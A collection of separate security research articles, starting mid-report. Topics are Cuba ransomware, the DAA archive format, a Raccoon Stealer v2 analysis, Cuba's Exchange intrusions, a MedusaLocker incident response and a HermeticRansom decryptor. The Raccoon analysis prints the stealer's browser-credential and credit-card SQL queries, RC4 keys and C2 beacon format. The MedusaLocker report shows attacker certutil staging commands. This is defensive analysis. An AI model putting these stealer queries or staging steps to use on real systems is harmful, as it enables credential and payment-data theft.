Notably, the wording of the ransom note used in the latest variant is different from the previous one that the malicious actors used in the samples we analyzed in March this year, but the onion site indicated in both ransom notes is the same. The ransom note used in late April 2022 explicitly states that they will publish exfiltrated data on their Tor site if the victims refuse to negotiate after three days, an apparent use of the double extortion technique. The ransomware gang did not clearly state the threat of publication of stolen data in the ransom note dropped in March 2022.
Another new feature of the latest ransom note is the addition of quTox, a means for technical support to the ransomware victims to facilitate ransom payment negotiation.
We are still investigating the latest set of samples and have yet to establish the entire infection chain for the new Cuba ransomware variant. As mentioned, the indicators that were commonly seen in most of the recent infections were not present in the latest samples we saw. Moreover, our detections of new samples in May suggest that Cuba ransomware’s attacks will persist in the coming months, possibly with more updates to the malware that are par for the course.
## Recommendations
As new malware variants emerge, a proactive cybersecurity stance is important to ensure that organizations are protected against modern ransomware threats. To defend systems against similar attacks, organizations can establish security frameworks that systematically allocate resources based on an enterprise’s needs.
Consider following the security frameworks established by the Center of Internet Security and the National Institute of Standards and Technology when developing your own cybersecurity strategies. The frameworks they created help security teams to mitigate risks and minimize exposure to threats. Implementing the best practices discussed in their respective frameworks can save organizations the time and effort when they customize their own. Their frameworks guide organizations through the whole process of planning while providing suggestions on measures that need to be established first.
## Indicators of Compromise (IOCs)
**SHA256**: 89288de628b402621007c7ebb289233e7568307fb12a33aac7e834504c17b4af
**Trend Micro Detection**: Ransom.Win32.BACUCRYPT.YPCD2T
Trend Micro Research observed the resurgence of the Cuba ransomware group that launched a new malware variant using different infection techniques compared to past iterations. We discuss our initial findings in this report. |
# The DAA File Format
In diary entry "Malicious .DAA Attachments", we extracted a malicious executable from a Direct Access Archive file. Let's take a closer look at this file format. Here is a hex/ascii dump of the beginning of the file:
With the source code of DAA2ISO, I was able to make some sense of this data. I highlighted important parts:
1. First we have the magic sequence: DAA...
2. Second, we have an offset (0x0000004C) to the list of compressed chunk lengths.
3. Third, we have the file format version: 0x00000100.
4. Fourth, we have an offset (0x0000005E) to the first compressed chunk.
And then we have the list of chunk lengths (position 0x0000004C) and the chunks themselves (position 0x0000005E). The list of compressed chunk lengths is a bit special: each length value is encoded with 3 bytes, using neither big-endian nor little-endian format. The number format is the following: hex value 697 is encoded as 00 97 06. So first you have the most significant byte, then the least significant byte, and then the remaining middle byte. Together with the pointer to the first compressed chunk (position 0x0000005E), we can use this length list to calculate the offsets of the other compressed chunks.
Example: the second chunk is located at 0x5E + 0x697 = 0x06F3. DAA version 0x100 uses zlib compression (DEFLATE), and the compressed data is stored without header. Armed with this information, I could write a Python script to extract and decompress the chunks stored inside a DAA file.
However, I wrote a different program. For quite some time, I was playing with the idea to write a program that can detect compressed data inside a binary stream. Since a DAA file is essentially a concatenation of zlib compressed chunks, such a program should also be able to extract and decompress the ISO file inside a DAA file.
Here is the result of my beta program running on the DAA sample: Each line represents compressed data found by the tool. The columns are:
1. Start position of compressed data (hexadecimal)
2. Size of the compressed data (decimal)
3. Size of the decompressed data (decimal)
4. Size of the remaining data (decimal)
This generic method will also generate false positives: data that decompresses but is not actual compressed data. Like the first line: it's very small (4 bytes compressed, 2 bytes decompressed) and is actually inside the DAA header. So this is clearly a false positive. Option -n can be used to impose a minimum length on the compressed data. This can be used to filter out some false positives.
Remark that the first byte sequence of compressed data is found at position 0x5E, the same position as mentioned in the header. And the second byte sequence of compressed data is found at position 0x6F5, that's the position that we calculated with the length of the first chunk. All decompressed chunks have a size of 65536, except the last chunk: that's how the DAA format stores the embedded ISO file. It's chopped-up in chunks of 65536 each, that are then compressed.
Finally, I can use option -d to decompress and concatenate all compressed chunks. A similar file format is also used for other CD/DVD image formats, like the gBurner format, compressed ISO format, etc. |
# Raccoon Back with New Claws!
By Rahul R
July 18, 2022
Raccoon infostealer was first released in April 2019. The initial Version 1 (V1) was distributed in Telegram groups and other forums as Malware-as-a-Service (MaaS). Now the stealer has been updated with new features and comes packed with commercial packers. It has a stealthy way of gaining information from the system using Windows APIs. This blog discusses in depth the Version 2 (V2) of Raccoon Stealer and its method to obtain information.
The stealer is usually downloaded when a user tries to download cracked software, thus the malware is added with around 400MB of junk in the overlay along with an invalid digital signature from AVG.
## Analysis
The sample is around 417MB, disguises itself as Windows File System Proxy, has an invalid digital signature, and comes packed with VMProtect. The analysis is based on the unpacked binary.
### Version Information
#### Dynamic API Resolving
The malware begins by resolving the required APIs dynamically through LoadLibrary and GetProcAddress. It uses LoadLibrary to get the handles of kernel32.dll, shell32.dll, user32.dll, advapi32.dll, wininet.dll, ole32.dll, crypt32.dll, and passes the returned handle as an argument to LoadLibrary to get the address of the required WinAPI and stores them at a memory offset.
#### String Decryption
The sample uses the RC4 algorithm for decrypting the base64 strings stored in binary. First, the string is base64 decoded using CryptStringToBinary API, passing the dwFlags argument as CRYPT_STRING_BASE64 (0x1). The decoded base64 string is saved in a variable and passed as an argument to the function which RC4 decrypts the string using the hardcoded symmetric key “edinayarossiya” (“United Russia” – a political party in Russia).
Complete list of strings decrypted is listed in Appendix A.
#### Retrieve C2 URL
The binary uses the same string decryption method discussed above to retrieve the C2 URL. For the decryption of the C2, it uses a different hardcoded RC4 symmetric key “b616297870490e1028b141f53eb3afe8,” which is later used as config ID when initial information is sent.
#### Checks System Locale
The malware then proceeds to check the locale of the system using GetUserDefaultLocaleName API and checks the returned string with a DWORD from virtual address 0x40E000. In this variant, this locale check does not affect the behavior of the malware. Usually, threat actors opt for an option for excluding victims from certain geolocals. It seems like the threat actors here have that option but are not using it.
#### Checks Mutex
The malware checks for a mutex with the name “8724643052.” If not, it creates one. If the mutex exists, then it kills itself to stop running multiple times.
#### Checks for System Privilege
The malware retrieves the Current Process access token and compares it to the SID of NTAuthority\System (“S-1-5-18”). If it matches, it executes the function to enumerate the active process list.
### Gather Initial Information
The malware initially collects machine GUID, username, and sends it to C2, awaiting a response for further information gathering. Machine GUID is obtained from the registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography” under “MachineGUID.” The malware sends the initial information to C2 in the following syntax:
```
machineId=<machineGUID>|<username>&configid=<RC4_key used to decrypt C2>
```
After converting the collected initial data into a Unicode string, it sends a POST request to the decrypted C2 using an unusual User-Agent String “record.” The data is sent in form data format.
After making the request, the connection handle is kept open until it receives a data response. It waits for the POST response until the size of the response is greater than 64 bytes.
### Process C2 Response
The C2 response contains the URLs of the DLLs needed to collect detailed information. A GET request is made to download all the DLLs, and they are saved in the APPDATA_LOCAL folder. The path to APPDATA_LOCAL is retrieved using the API SHGetFolderPath with CSIDL passed as “CSIDL_LOCAL_APPDATA” (0x1c). If the response doesn’t have the string “Token” in it, the malware kills itself.
### Collect Detailed Information
After downloading the required DLLs, it changes the current working directory and adds the path to the APPDATA_LOCAL directory to the “PATH” Environment Variable using SetEnvironmentVariableW.
#### System Info.txt
The malware first collects the system information and sends it as a POST request to the C2. The following information is collected using WinAPI:
- **Locale**: The malware collects the current locale using the API GetLocaleInfoW.
- **TimeZone**: Timezone is retrieved using API GetTimeZoneInformation.
- **Product Name**: Windows version is retrieved by querying the registry key “HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\” and data “ProductName.”
- **Architecture**: The malware checks if the SYSWOW64 directory exists on the system; if unavailable, it considers the architecture as 32-bit; else, architecture is 64-bit.
- **Processor**: The processor information is obtained using the ASM instruction “CPUID” (CPU Identification).
- **RAM**: The exact amount of physical storage is retrieved using the API GlobalMemoryStatusEx, which returns the “LPMEMORYSTATUSEX” structure. From the returned structure, the malware takes the field “ullTotalPhys” and right shifts by 20 bits to convert it into MB.
- **Display Height and Width**: Display height and width are obtained using the API “GetSystemMetrics” by passing the argument 0x0 (SM_CXSCREEN) to retrieve width and 0x1 (SM_CYSCREEN) to get height.
- **Display Devices**: The display is enumerated and saved using the API “EnumDisplayDevicesW.”
All the collected information about the system is sent immediately to the C2 without saving it to a file.
### Cookies.txt
After collecting all the information related to the system, it proceeds to collect browser saved passwords, credit card details, and cookies using the following DLLs:
1. **Sqlite3.dll** – to collect login ID and passwords from Chrome(ium) based browsers.
2. **mozglue.dll/nss3.dll** – to collect login ID and passwords from Firefox.
The following queries are used to query the required information:
```
SELECT origin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure, expires_utc, name, encrypted_value FROM cookies
SELECT name, value FROM autofill
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
```
The stealer even has the capability to collect crypto wallets if found on the system and sends all the collected information to C2 immediately.
### Captures Screenshot
A series of Windows APIs are used to capture the screenshot of the infected machine, which is sent to C2. The flow is similar to the example code given by Microsoft.
### Cleanup
The malware deletes all the files downloaded from the internet after the information is sent to C2.
## Activity
We strongly recommend not to download any cracked software to avoid infection with malware. We at K7 Labs provide detection against the latest threats and also for this newer variant of Raccoon Stealer. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices.
## Indicators of Compromise (IOC)
- **File Name**: launchctl.exe
**Hash**: b0bc998182378e73e2847975cc6f7eb3
**K7 Detection Name**: Trojan (005690671)
- **C2**: hxxp://www[.]retro-rave[.]xyz
- **IP**: 51.195.166[.]184
- **User-Agent**: record
## Appendix: Strings Decrypted during Runtime (Using RC4 key: “edinayarossiya”)
```
tlgrm_
ews_
grbr_
%s TRUE %s %s %s %s %s
URL:%s
USR:%s
PASS:%s
%d) %s
– Locale: %s
– OS: %s
– RAM: %d MB
– Time zone: %c%ld minutes from GMT
– Display size: %dx%d
%d
– Architecture: x%d
– CPU: %s (%d cores)
– Display Devices:
%s
formhistory.sqlite
logins.json
autofill.txt
cookies.txt
passwords.txt
*/*
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=
Content-Type: text/plain;
User Data
wallets
wlts_
ldr_
scrnsht_
sstmnfo_
token:
nss3.dll
sqlite3.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion
PATH
ProductName
Web Data
sqlite3_prepare_v2
sqlite3_open16
sqlite3_close
sqlite3_step
sqlite3_finalize
sqlite3_column_text16
sqlite3_column_bytes16
sqlite3_column_blob
SELECT origin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure, expires_utc, name, encrypted_value FROM cookies
SELECT name, value FROM autofill
SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formhistory
cookies.sqlite
machineId=
&configId=
“encrypted_key”:”
stats_version”:”
Content-Type: application/x-object
Content-Disposition: form-data; name=”file”; filename=”
GET
POST
Low
MachineGuid
image/jpeg
GdiPlus.dll
Gdi32.dll
GdiplusStartup
GdipDisposeImage
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
BitBlt
CreateCompatibleDC
DeleteObject
GetObjectW
SelectObject
SetStretchBltMode
StretchBlt
SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
NUM:%s
HOLDER:%s
EXP:%s/%s
\CC.txt
NSS_Init
NSS_Shutdown
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
SECITEM_FreeItem
hostname”:”
“,”httpRealm”:
encryptedUsername”:”
“,”encryptedPassword”:”
“,”guid”:
Profiles
``` |
# Microsoft Exchange Servers Hacked to Deploy Cuba Ransomware
**By Bill Toulas**
**February 24, 2022**
The Cuba ransomware operation is exploiting Microsoft Exchange vulnerabilities to gain initial access to corporate networks and encrypt devices. Cybersecurity firm Mandiant tracks the ransomware gang as UNC2596 and the ransomware itself as COLDDRAW. However, the ransomware is more commonly known as Cuba, which is how BleepingComputer will reference them throughout this article.
Cuba is a ransomware operation that launched at the end of 2019, and while they started slow, they began to pick up speed in 2020 and 2021. This increase in activity led to the FBI issuing a Cuba ransomware advisory in December 2021, warning that the gang breached 49 critical infrastructure organizations in the U.S.
In a new report by Mandiant, researchers show that the Cuba operation primarily targets the United States, followed by Canada.
## Mixing Commodity and Custom Malware
The Cuba ransomware gang was seen leveraging Microsoft Exchange vulnerabilities to deploy web shells, RATs, and backdoors to establish their foothold on the target network since August 2021. "Mandiant has also identified the exploitation of Microsoft Exchange vulnerabilities, including ProxyShell and ProxyLogon, as another access point leveraged by UNC2596 likely as early as August 2021," explains Mandiant in a new report.
The planted backdoors include Cobalt Strike or the NetSupport Manager remote access tool, but the group also uses their own ‘Bughatch’, ‘Wedgecut’, ‘eck.exe’, and ‘Burntcigar’ tools. Wedgecut comes in the form of an executable named “check.exe,” which is a reconnaissance tool that enumerates the Active Directory through PowerShell. Bughatch is a downloader that fetches PowerShell scripts and files from the C&C server. To evade detection, it loads in memory from a remote URL.
Burntcigar is a utility that can terminate processes at the kernel level by exploiting a flaw in an Avast driver, which is included with the tool for a “bring your own vulnerable driver” attack. Finally, there’s a memory-only dropper that fetches the above payloads and loads them, called Termite. However, this tool has been observed in campaigns of multiple threat groups, so it’s not used exclusively by the Cuba threat actors.
The threat actors escalate privileges using stolen account credentials sourced through the readily available Mimikatz and Wicker tools. Then they perform network reconnaissance with Wedgecut, and next, they move laterally with RDP, SMB, PsExec, and Cobalt Strike. The subsequent deployment is Bughatch loaded by Termite, followed by Burntcigar, which lays the ground for data exfiltration and file encryption by deactivating security tools. The Cuba gang doesn’t use any cloud services for the exfiltration step but instead sends everything onto their own private infrastructure.
## An Evolving Operation
Back in May 2021, Cuba ransomware partnered with the spam operators of the Hancitor malware to gain access to corporate networks through DocuSign phishing emails. Since then, Cuba has evolved its operations to target public-facing services vulnerabilities, such as the Microsoft Exchange ProxyShell and ProxyLogon vulnerabilities. This shift makes the attacks more potent but also easier to thwart, as security updates that plug the exploited issues have been available for many months now.
The Cuba operation will likely turn its attention to other vulnerabilities once there are no more valuable targets running unpatched Microsoft Exchange servers. This means that applying the available security updates as soon as the software vendors release them is key in maintaining a robust security stance against even the most sophisticated threat actors.
**Bill Toulas** is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives. |
# Part 1: Analysing MedusaLocker Ransomware
In this 3-part post, we share the tradecraft from an RDP brute force linked ransomware event (MedusaLocker) we responded to in June 2020. We cover the business ramifications of the attack, technical analysis, and some advice based on attacks such as these.
Ransomware is a sad fact of life in 2020. While the “big game hunting” actors (Maze, REvil et al) get the attention of the media and industry by claiming high-profile scalps, far less attention is given to the victim and attacker from smaller origins. There are a host of actors (often under-researched or reported) engaged in ransomware operations. Most of them could be classified as opportunistic rather than persistent.
In this post, we focus on pre-impact operations as a complete intrusion. These artefacts would normally be heavily degraded or destroyed by the ransomware or by the need for a business to recover (often wiping evidence). You’ll see how we found and analysed a host that failed to encrypt correctly – this host also turned out to be the initial entry point and staging post for the operators. As we go through our analysis, we’ll point out which part of the kill chain the attacker is up to and where this maps to the MITRE ATT&CK framework.
It’s important to note that these adversaries weren’t particularly stealthy or advanced. They doubled up on a lot of tooling and functionality, yet they were able to completely overmatch the defenses presented to them. They achieved their goals by having enough effectiveness.
## The Ramifications of the Attack
As a result of this attack, the organisation experienced the following:
- **Encryption of:**
- 75% of end-user compute devices (these devices wouldn’t boot at all – we’re unsure if this was deliberate).
- 100% of servers (however, the server that was the point of entry and staging post failed to encrypt completely, leaving parts of its system drive available for analysis).
- Mapped drives, shared drives, Dropbox, OneDrive (this organisation didn’t have enterprise licenses for its cloud file sharing solutions, making recovery more difficult).
- ERP System (over 500 hours to rebuild and move to a SaaS application). This resulted in all purchase/sales orders, inventories, ledgers, GST, shipping, and financial records being lost.
- EDI services, which resulted in all automatic order placing and fulfilment being halted.
- Backups – variously encrypted or degraded. USB + network-attached storage schemes were all hit, forcing the rebuild of critical ERP and EDI solutions from much older backups - which added additional time and complexity.
- **Time from initial access to domain-wide encryption:** ~25 hrs (16/06/2020 3:38 am to 17/06/2020 ~5 am)
- **Time to be able to trade again:** 8 working days (and hundreds of recovery and rebuild hours behind the scenes plus manual trading with incremental improvements as data structures were recovered).
As we go through each stage of the attack, it's worth role-playing this scenario in your own organisation to see how you would recover the loss of such data types. You can use the MITRE ATT&CK mapping to overlay your organisation’s controls and your ability to detect and stop a similar attack.
This dataset comes from one intrusion without good instrumentation, and thus may not represent a total picture of the actor’s TTPs. In the forensic analysis, bits were missing, and the pieces we found often made little sense. Still, by piecing together a timeline, we could be reasonably confident about the adversary activity that had happened.
## Intrusion Analysis
### Background
We received a phone call from the client on the morning of June 17th, 2020. We’d supported their ERP and EDI systems in the past but were not currently their IT outsource partner. They reported that all computers in their environment were not booting and that they thought they’d been attacked.
A search on Shodan showed one of their servers had RDP exposed, giving a possible source of entry (we were sadly correct). When our team arrived on site, we found their environment was completely shut down; all of their workstations wouldn’t boot, and all servers were powered off.
On the particular server that this analysis is from, we found its RAID array reporting it was in a degraded state (we’re not sure if the ransomware did this), leaving us with some difficult choices when it came to triage and imaging. To our surprise, the ransomware failed to completely execute on this host. While all of the non-system drives (10+ TB of them) were completely encrypted, and its system drive was partially encrypted, we later saw that the task executing it had failed. Most of this analysis comes from imaging of the file system on that host.
### Initial Access
Initial Access was via RDP brute-forcing (T1110) to a Domain Controller that had RDP open to the internet (T1133 – External Remote Services). This (obviously dangerous) configuration was set up to enable remote access by the clients’ main IT provider.
The initial logon via an admin account was recorded at 16/06/2020 3:38 am NZT from 185.202.1[.]19. Landing on an account with DA on a DC certainly made the job of the ransomware operator’s life somewhat easier and shortened the kill chain. However, the assessment shows they would have been able to carry out their objectives given the low-security posture of the environment regardless. Logons were also observed from 213.7.208[.]69 & 5.2.224[.]56.
### Execution
Fragments of several interesting tool chains were recovered from the server. As the vector of entry was RDP, graphical tools were used (T1061) and recovered shellbags support this.
The intruder staged their tooling in a pre-existing folder - C:\SQLDB\. Event logs record large amounts of PowerShell (T1086) activity being executed, although the system had PowerShell 2.0 installed, so no useful information was logged as to what was run specifically. Timestamps also show the Powershell_ise.exe binary was also accessed.
Recovered Certutil Logs reference the PowerShell modules Connect-Mstsc.ps1, PSnmap.psd1 (both of which are the names of pre-made modules widely available online) and a more enigmatic 2sys.ps1 (“Command Line: CertUtil -decode file.b64 2sys.ps1”) which shares a name to a script referenced in a Carbon Black report on another ransomware group from 2018 (Dharma).
This usage of CertUtil is evidence of Remote File Copies (T1105). MACB timestamps also suggest WMIC was used, although given the utility of this software its purpose cannot be confirmed. It may have been caused by some of the intruder's tooling rather than directly invoked.
In addition to other precompiled binaries and tools (7za, via certutil: CertUtil -decode za 7za.exe), the Certutil.log file once again offers some evidence of staging tooling; with the following commands executed (via script):
< trimmed for brevity>
With a total of 48 numbered arch<$number>.b64 files decoded in sequence.
Based on the prior collection of 7za.exe (a command-line version of 7zip) and the fact the first of these files ended was decoded to have a .zip extension, it’s a reasonably safe assertion that this was a multipart archive file.
Additional file structures beneath the C:\SQLDB\ folder were visible via shellbags, in particular folders called `kamikadze new`, `_local`, and `77`. The intruder installed a C++ Runtime library (Microsoft Visual C++ 2015 x86 Runtime 14.0.23026) to the system. It appears as though this or some of the other parts of the software deployed prompted the system to collect a large number of Windows updates (such as KB2999226). These artefacts are inconclusive but were not exhaustively searched, as are the subsequent .msi’s the system installed (their names variously available as deleted registry items) not long before executing the ransomware.
**Lead author:** Hamish Krebs, Lead Consultant
Hamish has spent time across Australia and New Zealand responding to advanced threat actors; running large DFIR engagements in complex environments. He’s also designed and deployed a variety of security solutions such as SIEMs and EDR suites across APAC. |
# Help for Ukraine: Free Decryptor for HermeticRansom Ransomware
On February 24th, the Avast Threat Labs discovered a new ransomware strain accompanying the data wiper HermeticWiper malware, which our colleagues at ESET found circulating in Ukraine. Following this naming convention, we opted to name the strain we found piggybacking on the wiper, HermeticRansom. According to analysis done by Crowdstrike’s Intelligence Team, the ransomware contains a weakness in the crypto schema and can be decrypted for free.
If your device has been infected with HermeticRansom and you’d like to decrypt your files, follow the instructions below.
The ransomware is written in GO language. When executed, it searches local drives and network shares for potentially valuable files, looking for files with one of the extensions listed below:
.docx .doc .dot .odt .pdf .xls .xlsx .rtf .ppt .pptx .one .xps .pub .vsd .txt .jpg .jpeg .bmp .ico .png .gif .sql .xml .pgsql .zip .rar .exe .msi .vdi .ova .avi .dip .epub .iso .sfx .inc .contact .url .mp3 .wmv .wma .wtv .acl .cfg .chm .crt .css .dat .dll .cab .htm .html .encryptedjb
In order to keep the victim’s PC operational, the ransomware avoids encrypting files in Program Files and Windows folders.
For every file designated for encryption, the ransomware creates a 32-byte encryption key. Files are encrypted by blocks, each block has 1048576 (0x100000) bytes. A maximum of nine blocks are encrypted. Any data past 9437184 bytes (0x900000) is left in plain text. Each block is encrypted by AES GCM symmetric cipher. After data encryption, the ransomware appends a file tail, containing the RSA-2048 encrypted file key. The public key is stored in the binary as a Base64 encoded string.
Encrypted file names are given an extra suffix: .[vote2024forjb@protonmail.com].encryptedJB. When done, a file named “read_me.html” is saved to the user’s Desktop folder.
There is an interesting amount of politically oriented strings in the ransomware binary. In addition to the file extension, referring to the re-election of Joe Biden in 2024, there is also a reference to him in the project name. During the execution, the ransomware creates a large amount of child processes that do the actual encryption.
## How to Use the Avast Decryptor to Recover Files
To decrypt your files, please follow these steps:
1. Download the free Avast decryptor.
2. Simply run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
3. On the initial page, you can read the license information, if you want, but you really only need to click “Next.”
4. On the next page, select the list of locations which you want to be searched and decrypted. By default, it contains a list of all local drives.
5. On the final wizard page, you can opt-in whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt,” the decryption process begins. Let the decryptor work and wait until it finishes.
## IOCs
SHA256: 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382
Tagged as analysis, decryptors, malware, ransomware, reversing. |
No dataset card yet
New: Create and edit this dataset card directly on the website!
Contribute a Dataset Card